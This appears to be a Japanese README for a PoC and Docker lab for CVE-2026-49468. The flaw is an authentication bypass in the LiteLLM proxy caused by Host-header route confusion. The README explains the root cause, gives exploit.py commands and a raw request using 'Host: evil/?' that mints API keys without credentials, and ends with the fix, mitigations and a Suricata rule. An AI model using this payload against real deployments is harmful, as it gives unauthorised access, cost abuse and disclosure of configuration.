
CVE-2026-49468 — LiteLLM (<1.84.0) の未認証認証バイパス:Hostヘッダールート混乱を利用。PoC + Dockerラボ。
| CVE | CVE-2026-49468 |
| 製品 | LiteLLM (BerriAI) プロキシ |
| 影響を受けるバージョン | < 1.84.0 (v1.83.14-stable で確認) |
| 修正バージョン | 1.84.0 |
| 分類 | 不適切な認証 (CWE-290) — ルート混乱 |
| 認証 | なし (事前認証) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD) |
| CVSS 4.0 | 9.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub) |
| ステータス | 確認済み — バイパスをエンドツーエンドで再現; 修正を 1.84.0 で確認 |
エクスプロイト全体は 1 つのヘッダー:
Host: evil/?
litellm/proxy/auth/auth_utils.py::get_request_route() は すべての 認証判断に使用するルートを request.url.path から導出します。Starlette はその URL 文字列を クライアント制御の Host ヘッダー から再構築します:
# starlette/datastructures.py (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}" # host_header = 攻撃者の Host
...
@property
def path(self): return urlsplit(self._url).path
FastAPI のルーティングは 生の ASGI パス request.scope["path"] でディスパッチします。Host ヘッダーに ? を注入すると、実際のリクエストパスが URL の クエリ コンポーネントに押し込まれ、再構築された url.path は / に縮小されます:
実際のリクエストパス (scope、FastAPI はここでルーティング): /key/generate
Host ヘッダー : evil/?
再構築された URL : http://evil/?/key/generate
urlsplit(...).path : / <-- 認証はこれを参照
/ は LiteLLMRoutes.public_routes に含まれており、両方の認証ゲートはその同じ偽装値を使用して公開ルートでショートサーキットします:
# user_api_key_auth.py — 認証ビルダー
if route in public_routes: # route == "/"
return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # API キー不要
# user_api_key_auth.py — 認可ラッパー
if route in public_routes: # route == "/"
return # common_checks / 管理者ルートの強制をスキップ
修正 (1.84.0): get_request_route() は request.scope["path"] / scope["root_path"] を直接読み取り、Host ヘッダーから再構築しなくなりました。
到達可能な 未認証 (INTERNAL_USER_VIEW_ONLY として提供):
POST /key/generate → 有効な仮想 API キーを生成。キーはバイパスヘッダーなしで通常の認証として機能 → 永続的な認証済み足場 とプロバイダ コスト悪用。POST /user/new → ユーザーを作成。POST /chat/completions (+ /v1/models、/model/info) → プロキシの設定済み LLM プロバイダに対する 未認証推論。GET /spend/logs、/settings、/get/config/callbacks → 構成/テレメトリの開示。インラインの PROXY_ADMIN チェックで保護されたエンドポイントはブロックされたままです (/config/update、/model/new、/user/list、/key/list、ロール昇格、MCP 直接作成)。したがって、このバイパスは v1.83.14 で完全なプロキシ管理者権限や RCE をもたらしません — ANALYSIS.md を参照。
# 1. 脆弱な + パッチ適用済みのラボを起動 (マスターキーを使用して認証有効)
cd lab && docker compose up -d && cd ..
# 2. バイパスを確認
python3 exploit.py -u http://127.0.0.1:4000 check
# [*] GET /user/list no-bypass Host -> 401
# [*] GET /user/list Host: evil/? -> 403
# [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).
# 3. 資格情報なしで API キーを生成
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
# [+] Minted virtual API key (unauthenticated): sk-....
# 4. 未認証推論 / 列挙
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump
# パッチ適用済みビルド (v1.84.0 on :4001) は同じリクエストを 401 で拒否
python3 exploit.py -u http://127.0.0.1:4001 check
exploit.py は stdlib のみ (http.client) で、Host ヘッダーをワイヤーレベルでそのまま設定します。アクション: check、mint-key、user、chat、dump、raw METHOD PATH。
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2
{}
HTTP/1.1 200 OK
{"key":"sk-...", ...}
完全なベースライン/バイパスマトリックス、敵対的判別子 (evil → 401、evil/foo → 401、evil/? → 200)、およびパッチ適用後の境界については EVIDENCE.txt を参照。
1.84.0 以降にアップグレードしてください。Host 検証を実施するリバースプロキシの背後にプロキシを配置し (/、?、# を含む Host 値を拒否)、master_key を設定してください。バイパスは構文的に無効な Host ヘッダーです。Suricata ルールのサンプル:
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
flow:to_server,established; http.host; pcre:"/[\/?#]/";
classtype:web-application-attack; sid:2026049468; rev:1;)
ログ側: Host ヘッダーに /、?、# を含むリクエストが LiteLLM プロキシに到達した場合。
Caio Fabrício (BiiTts).
許可されたセキュリティ研究およびテスト目的のみ。